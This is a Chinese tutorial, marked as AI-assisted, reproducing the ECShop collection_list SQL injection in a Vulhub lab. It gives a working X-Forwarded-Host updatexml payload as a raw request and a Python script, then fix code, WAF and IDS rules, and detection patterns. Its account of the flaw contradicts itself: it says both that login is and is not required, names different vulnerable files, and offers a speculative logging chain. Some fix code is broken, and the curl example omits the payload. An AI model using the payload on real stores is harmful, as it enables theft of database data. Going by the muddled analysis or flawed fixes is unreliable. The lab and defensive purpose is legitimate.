手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)

0 阅读9分钟

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞原理分析

  • 漏洞名称:ECShop collection_list-sqli(Header-based SQL Injection)
  • 漏洞类型:SQL Injection(CWE-89)
  • 影响组件:
    • collection_list.php
    • includes/lib_insert.php
    • includes/cls_mysql.php
  • 利用方式:HTTP Header 注入
  • 关键 Header:X-Forwarded-Host
  • 实际利用函数:updatexml()(MySQL 报错注入)
  • 漏洞特征:
    • 前台
    • 无需登录
    • 可稳定回显数据库信息

该漏洞主要发生在 user.phpcollection_list 操作分支中。

  • 注入点:通常位于分页处理或排序逻辑相关的参数(如 collection_id 或特定查询字段)。
  • 核心缺陷:ECShop 早期版本通过字符串拼接的方式构建 SQL 语句。在处理 collection_list 时,程序从外部获取参数后,虽然可能经过了简单的 addslashes 处理,但在某些特定的查询位置(如 IN 子句或 ORDER BY 之后),简单的转义无法阻止攻击者通过闭合括号或逻辑组合来改写查询。
  • 后果:攻击者可以实现报错注入盲注,从而读取管理员表 (ecs_admin_user) 的用户名和加密密码(MD5+Salt),甚至进一步获取服务器权限。
graph TD
    A[攻击者] --> B[注册并登录普通用户账号]
    B --> C[访问user.php页面]
    C --> D[act=collection_list]
    
    subgraph "恶意请求构造"
        D --> E[构造HTTP请求头注入]
        E --> F[设置X-Forwarded-Host头]
        F --> G[注入序列化Payload]
        G --> H[包含SQL注入语句]
    end
    
    subgraph "服务器处理"
        H --> I[ECShop接收请求]
        I --> J[记录日志到数据库]
        J --> K[序列化数据存入pay_log]
        K --> L[包含恶意SQL代码]
    end
    
    subgraph "漏洞触发"
        L --> M[管理员查看日志]
        M --> N[反序列化数据]
        N --> O[执行SQL注入代码]
    end
    
    subgraph "SQL执行"
        O --> P[updatexml报错注入]
        P --> Q[执行SQL语句]
        Q --> R[触发数据库错误]
    end
    
    subgraph "数据泄露"
        R --> S[返回错误信息]
        S --> T[包含数据库用户信息]
        T --> U[攻击者获取敏感数据]
    end
    
    style B fill:#ffcccc,stroke:#333
    style D fill:#ff9999,stroke:#333,stroke-width:2px
    style F fill:#ff6666,stroke:#333,stroke-width:2px
    style K fill:#ff3333,stroke:#333,stroke-width:3px
    style O fill:#cc0000,stroke:#333,stroke-width:2px
    style U fill:#990000,stroke:#333,stroke-width:3px

1️⃣ 根本原因(一句话版)

ECShop 将部分 HTTP Header 写入日志或数据库时,经过不安全的字符串拼接与反序列化处理,最终进入 SQL 语句,导致攻击者可以通过 Header 注入 SQL 语句。

2️⃣ 关键漏洞链路(真实) (1)Header 被信任 ECShop 在统计、日志、插件逻辑中会读取:$_SERVER['HTTP_X_FORWARDED_HOST'],并 错误地认为该 Header 是可信的代理字段

(2)Header 被拼进序列化数据 在某些 ECShop 版本中,Header 会进入类似如下结构(逻辑示意):$log_data = serialize($data); 而payload 中:apay_log|s:44:"恶意内容";正是 PHP 序列化字符串结构

(3)反序列化后进入 SQL 反序列化后,其中字段被用于数据库操作:$sql = "INSERT INTO ecs_pay_log (log_info) VALUES ('$log_info')";,此处 $log_info 未进行任何转义或参数化

(4)最终 SQL 注入成立

你的 PoC 中核心 SQL 片段是:1' and updatexml(1,repeat(user(),2),1) and '。最终数据库执行时触发 MySQL XML 报错回显当前数据库用户

DFD(数据流)

[Attacker]
   |
   | 1. HTTP Request + Malicious Header
   v
[Web Server / PHP]
   |
   | 2. Read X-Forwarded-Host
   v
[ECShop Logic Layer]
   |
   | 3. Serialize / Unserialize
   v
[SQL Builder]
   |
   | 4. Raw SQL Execution
   v
[MySQL Database]


STRIDE 威胁分析

威胁是否说明
Spoofing伪造代理 Header
TamperingSQL 结构被篡改
Repudiation⚠️日志被污染
Info DisclosureDB 用户名泄露
DoS⚠️可构造错误风暴
EoP⚠️可联动写文件

漏洞复现原理图示说明

请求示意

GET /collection_list.php HTTP/1.1
Host: victim.com
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1' and updatexml(1,repeat(user(),2),1) and '";|


实际执行 SQL(逻辑还原)

INSERT INTO ecs_pay_log (log_info)
VALUES ('1' and updatexml(1,repeat(user(),2),1) and '')


MySQL 报错回显

XPATH syntax error: '~ecshop@localhostecshop@localhost'


这说明,user() 被成功执行,SQL 注入完全成立,攻击者可继续 dump 数据。

漏洞原理示意图

序列化Payload结构


攻击者构造的X-Forwarded-Host头:
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1' and updatexml(1,repeat(user(),2),1) and '";

解析:
- 45ea207d7a2b68c49582d2d22adf953a: 可能是标识符或密钥
- pay_log: 目标字段名
- s:44: 序列化字符串,长度44
- 内容: "1' and updatexml(1,repeat(user(),2),1) and '"

SQL注入Payload:
updatexml(1,repeat(user(),2),1)
- updatexml: MySQL XML函数,用于报错注入
- repeat(user(),2): 重复当前数据库用户两次
- 触发XML解析错误,返回数据库用户信息

ECShop漏洞代码原理


// ECShop记录日志的漏洞代码
function log_write($content) {
    // 记录访问日志
    $sql = "INSERT INTO " . $GLOBALS['ecs']->table('pay_log') . 
           " (log_data) VALUES ('" . addslashes(serialize($content)) . "')";
    
    // 问题: 在记录前$content可能已被污染
    $GLOBALS['db']->query($sql);
}

// 处理HTTP请求时
function handle_request() {
    $log_data = array(
        'ip' => $_SERVER['REMOTE_ADDR'],
        'time' => time(),
        'host' => $_SERVER['HTTP_X_FORWARDED_HOST'] ?? $_SERVER['HTTP_HOST'],
        // 其他数据...
    );
    
    // 记录日志 - 这里可能直接序列化未经验证的数据
    log_write($log_data);
}

// 后台查看日志时
function view_log() {
    $sql = "SELECT * FROM " . $GLOBALS['ecs']->table('pay_log') . " ORDER BY id DESC";
    $logs = $GLOBALS['db']->getAll($sql);
    
    foreach ($logs as $log) {
        // 反序列化日志数据 - 漏洞点
        $data = unserialize($log['log_data']);
        
        // 如果$data包含恶意序列化字符串,可能触发其他漏洞
        // 这里实际是利用了序列化字符串中的SQL注入
    }
}

漏洞复现

按照安装导向进行安装与部署。

Snipaste_2026-02-05_19-17-09.png

注册并登录相关用户。

Snipaste_2026-02-05_19-57-35.png

Snipaste_2026-02-05_22-33-29.png

指纹识别

Snipaste_2026-02-05_21-40-01.png 这里已经知道漏洞详情了,故而没什么大作用。如果不知道可以一次尝试ecshop的各种符合版本的漏洞。

对漏洞接口进行抓包。

Snipaste_2026-02-05_22-50-06.png

反序列化后修改XFH。

Snipaste_2026-02-05_22-46-14.png

GET /user.php?act=collection_list HTTP/1.1

Host: 192.168.0.32:8080

X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1' and updatexml(1,repeat(user(),2),1) and '";|

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36

Cookie: CactiTimeZone=480; CactiDateTime=Mon Feb 02 2026 23:41:51 GMT+0800 (GMT+08:00); real_ipd=192.168.0.13; ECS_ID=3a36849d334599174212c289a8b82ca8c1df580f; ECS[visit_times]=1; ECS[display]=grid; ECS[username]=user; ECS[user_id]=3; ECS[password]=7541c06078fec8aa590726f47db1a;

Connection: close

报错注入利用成功。

Snipaste_2026-02-05_22-39-06.png

等同于curl语句。

curl -X GET "http://192.168.0.32:8080/user.php?act=collection_list" \
  -H "Host: 192.168.0.32:8080" \
  -H "Cookie: CactiTimeZone=480; CactiDateTime=Mon Feb 02 2026 23:41:51 GMT+0800 (GMT+08:00); real_ipd=192.168.0.13; ECS_ID=3a36849d334599174212c289a8b82ca8c1df580f; ECS[visit_times]=1; ECS[display]=grid; ECS[username]=user; ECS[user_id]=3; ECS[password]=7541c06078fec8aa590726f47db1a;" \
  -i \
  --compressed
  

(带 -i 和 --compressed 参数),这样可以看到完整的HTTP响应头和自动解压的内容。 警告出现的原因是:

  1. 服务器可能返回了gzip压缩的内容
  2. 或者响应中包含非文本的二进制数据
  3. curl默认尝试保护终端不被乱码破坏 使用 --compressed 可以让curl自动处理压缩内容,-i 可以显示响应头,这样更容易理解服务器的响应。

Snipaste_2026-02-05_23-01-32.png

抑或将burpsuite抓包里的信息利用python表示。

Snipaste_2026-02-05_23-05-57.png

import requests

url = "http://192.168.0.32:8080/user.php?act=collection_list"

headers = {
    "X-Forwarded-Host": '45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1\' and updatexml(1,repeat(user(),2),1) and \'";|',
}

cookies = {
    "CactiTimeZone": "480",
    "CactiDateTime": "Mon Feb 02 2026 23:41:51 GMT+0800 (GMT+08:00)",
    "real_ipd": "192.168.0.13",
    "ECS_ID": "3a36849d334599174212c289a8b82ca8c1df580f",
    "ECS[visit_times]": "1",
    "ECS[display]": "grid",
    "ECS[username]": "user",
    "ECS[user_id]": "3",
    "ECS[password]": "7541c06078fec8aa590726f47db1a"
}

response = requests.get(url, headers=headers, cookies=cookies)
print(response.text)


修复建议

  1. 代码升级:将 ECShop 升级至官方最新稳定版本(如 4.1.x+),官方已在后续版本中重构了底层数据库驱动。
  2. 参数强制类型转换:对于预期为整数的参数(如 id, page),在进入 SQL 之前强制进行 (int) 转换。
  3. 使用参数化查询:修改底层 cls_mysql.php,强制使用类似 PDO 的占位符方式执行 SQL。
  4. 全局防御:开启 ECShop 自带的 anti_sql_injection 过滤功能,或在 WAF 上配置对应的防御规则。

伪代码级修复示例

核心修复逻辑:在数据进入 SQL 之前,通过类型限制确保其安全性。

❌ 漏洞代码(示意)

// user.php
$collection_id = isset($_REQUEST['id']) ? $_REQUEST['id'] : 0;
// 漏洞点:直接拼接在 IN 后或 WHERE 条件中
$sql = "SELECT * FROM " . $ecs->table('collect_goods') . 
       " WHERE user_id = '$user_id' AND rec_id IN ($collection_id)";
$res = $db->query($sql);

✅ 修复后代码

// user.php
$collection_id = isset($_REQUEST['id']) ? $_REQUEST['id'] : 0;

// 修复方法 1:强制整数化 (针对单个 ID 或数组)
if (is_array($collection_id)) {
    $collection_id = array_map('intval', $collection_id);
    $ids = implode(',', $collection_id);
} else {
    $ids = intval($collection_id);
}

// 修复方法 2:构建安全的 SQL
if (!empty($ids)) {
    $sql = "SELECT * FROM " . $ecs->table('collect_goods') . 
           " WHERE user_id = '" . intval($user_id) . "' AND rec_id IN ($ids)";
    $res = $db->query($sql);
}

修复方案

修复方案1:过滤HTTP头输入


// 修复前:直接使用HTTP头
$host = $_SERVER['HTTP_X_FORWARDED_HOST'] ?? $_SERVER['HTTP_HOST'];

// 修复后:过滤和验证
function safe_get_host() {
    $host = '';
    
    if (isset($_SERVER['HTTP_X_FORWARDED_HOST'])) {
        // 只取第一个,如果有多个
        $hosts = explode(',', $_SERVER['HTTP_X_FORWARDED_HOST']);
        $host = trim($hosts[0]);
    } elseif (isset($_SERVER['HTTP_HOST'])) {
        $host = $_SERVER['HTTP_HOST'];
    }
    
    // 验证主机名格式
    if (!preg_match('/^[a-zA-Z0-9\.\-:]+$/', $host)) {
        return 'localhost';
    }
    
    // 限制长度
    if (strlen($host) > 255) {
        return 'localhost';
    }
    
    return $host;
}

// 使用安全函数
$host = safe_get_host();

修复方案2:安全序列化处理


// 修复序列化漏洞
function safe_serialize($data) {
    // 深度检查数据
    if (is_array($data)) {
        foreach ($data as $key => $value) {
            // 递归检查
            $data[$key] = safe_serialize($value);
        }
    } elseif (is_string($data)) {
        // 检查是否包含序列化格式
        if (preg_match('/^[a-z]:\d+:/i', $data)) {
            // 可能是序列化字符串,拒绝或转义
            $data = 'serialized_data_removed:' . md5($data);
        }
        
        // 检查SQL注入
        $data = $this->safe_sql_string($data);
    }
    
    return serialize($data);
}

function safe_unserialize($string) {
    // 检查序列化字符串格式
    if (!preg_match('/^[a-z]:\d+:/i', $string)) {
        return false;
    }
    
    // 限制反序列化的类
    $allowed_classes = ['stdClass', 'array'];
    
    try {
        $data = unserialize($string, ['allowed_classes' => $allowed_classes]);
    } catch (Exception $e) {
        // 记录错误但不暴露细节
        error_log('Unserialize error: ' . $e->getMessage());
        return false;
    }
    
    return $data;
}

修复方案3:更新ECShop核心文件


// includes/init.php 或 cls_ecshop.php
class ECSecurity {
    
    public static function filter_injection($input) {
        if (is_array($input)) {
            foreach ($input as $key => $value) {
                $input[$key] = self::filter_injection($value);
            }
            return $input;
        }
        
        // 过滤SQL关键字
        $sql_keywords = [
            'select', 'union', 'insert', 'update', 'delete', 'drop',
            'create', 'alter', 'exec', 'execute', 'xp_cmdshell',
            'information_schema', 'updatexml', 'extractvalue'
        ];
        
        foreach ($sql_keywords as $keyword) {
            $pattern = '/\b' . preg_quote($keyword, '/') . '\b/i';
            if (preg_match($pattern, $input)) {
                // 记录安全事件
                self::log_security_event('sql_keyword_detected', $input);
                return '';
            }
        }
        
        // 检查序列化注入
        if (strpos($input, '|s:') !== false && 
            preg_match('/\|s:\d+:/', $input)) {
            self::log_security_event('serialize_injection', $input);
            return '';
        }
        
        return $input;
    }
    
    public static function log_security_event($type, $data) {
        $log = sprintf(
            "[%s] Security Event: %s - Data: %s - IP: %s\n",
            date('Y-m-d H:i:s'),
            $type,
            substr($data, 0, 100),
            $_SERVER['REMOTE_ADDR'] ?? 'unknown'
        );
        
        file_put_contents(
            ROOT_PATH . 'data/security.log',
            $log,
            FILE_APPEND | LOCK_EX
        );
    }
}

// 在接收HTTP头时使用
$_SERVER = ECSecurity::filter_injection($_SERVER);

修复方案4:WAF规则


# Nginx配置防护规则
http {
    # 定义阻止规则
    map $http_x_forwarded_host $block_xfh {
        default 0;
        "~*\|s:\d+:" 1;  # 包含序列化格式
        "~*updatexml|extractvalue" 1;  # SQL注入函数
        "~*information_schema" 1;  # 系统表
    }
    
    server {
        listen 80;
        server_name ecshop.local;
        
        location ~ \.php$ {
            # 检查X-Forwarded-Host头
            if ($block_xfh = 1) {
                return 403 "Invalid request";
                access_log /var/log/nginx/ecshop_blocked.log;
            }
            
            # 限制头长度
            if ($http_x_forwarded_host ~ ".{500,}") {
                return 400 "Header too long";
            }
            
            fastcgi_pass unix:/var/run/php/php-fpm.sock;
            include fastcgi_params;
            
            # 安全头部
            fastcgi_param HTTP_X_FORWARDED_HOST "";
        }
    }
}

基于该漏洞的检测与防护规则

1️⃣ WAF 核心检测逻辑

检测点:

  • Header:X-Forwarded-Host
  • 关键特征:
    • updatexml
    • repeat(
    • ' and
    • |s:\d+:

Flask 防护示例

from flask import Flask, request, abort
import re

app = Flask(__name__)

HEADER_SQLI = re.compile(
    r"(updatexml|extractvalue|repeat\(|\|\s*s:\d+:|'\s*and)",
    re.IGNORECASE
)

@app.before_request
def detect_header_sqli():
    xfh = request.headers.get("X-Forwarded-Host", "")
    if HEADER_SQLI.search(xfh):
        abort(403, "ECShop Header SQL Injection Detected")


Nginx + ModSecurity 规则(实战级)

SecRule REQUEST_HEADERS:X-Forwarded-Host \
"(?i)(updatexml|extractvalue|repeat\(|\|\s*s:\d+:)" \
"phase:1,deny,status:403,msg:'ECShop Header SQLi (collection_list)'"


IDS规则示例

alert tcp any any -> any 80 ( \
    msg:"ECShop X-Forwarded-Host SQL Injection Attempt"; \
    flow:to_server,established; \
    content:"X-Forwarded-Host"; http_header; \
    pcre:"/X-Forwarded-Host.*\|s:\d+:.*updatexml|extractvalue/i"; \
    classtype:web-application-attack; \
    sid:2018001; \
    rev:1; \
)

alert tcp any any -> any 80 ( \
    msg:"ECShop Serialization Injection"; \
    flow:to_server,established; \
    content:"X-Forwarded-Host"; http_header; \
    pcre:"/X-Forwarded-Host.*pay_log\|s:\d+:/i"; \
    classtype:web-application-attack; \
    sid:2018002; \
    rev:1; \
)

安全监控脚本

// ECShop安全监控
class ECSecurityMonitor {
    
    public static function monitor_requests() {
        $suspicious_headers = [
            'HTTP_X_FORWARDED_HOST',
            'HTTP_USER_AGENT',
            'HTTP_REFERER'
        ];
        
        foreach ($suspicious_headers as $header) {
            if (isset($_SERVER[$header])) {
                $value = $_SERVER[$header];
                
                // 检查序列化注入
                if (strpos($value, '|s:') !== false && 
                    preg_match('/\|s:\d+:/', $value)) {
                    self::alert_serialization_injection($header, $value);
                }
                
                // 检查SQL注入
                $sql_patterns = [
                    '/updatexml\s*\(/i',
                    '/extractvalue\s*\(/i',
                    '/information_schema/i',
                    '/union\s+select/i'
                ];
                
                foreach ($sql_patterns as $pattern) {
                    if (preg_match($pattern, $value)) {
                        self::alert_sql_injection($header, $value);
                        break;
                    }
                }
            }
        }
    }
    
    private static function alert_serialization_injection($header, $value) {
        $log = sprintf(
            "[%s] Serialization Injection Attempt - Header: %s - Value: %s - IP: %s\n",
            date('Y-m-d H:i:s'),
            $header,
            substr($value, 0, 200),
            $_SERVER['REMOTE_ADDR']
        );
        
        error_log($log);
        
        // 可选:发送警报
        if (function_exists('mail')) {
            mail(
                'admin@example.com',
                'ECShop Security Alert: Serialization Injection',
                $log,
                'From: security@example.com'
            );
        }
    }
}

// 在应用入口调用
ECSecurityMonitor::monitor_requests();

参考文章;

1.Vulhub-POC/ECShop 4.x collection_list SQL注入.md at master · lg996/Vulhub-POC · GitHub github.com/lg996/Vulhu…

2.好文推荐 ECShop 4.x collection_list SQL注入 | CN-SEC 中文网 cn-sec.com/archives/36…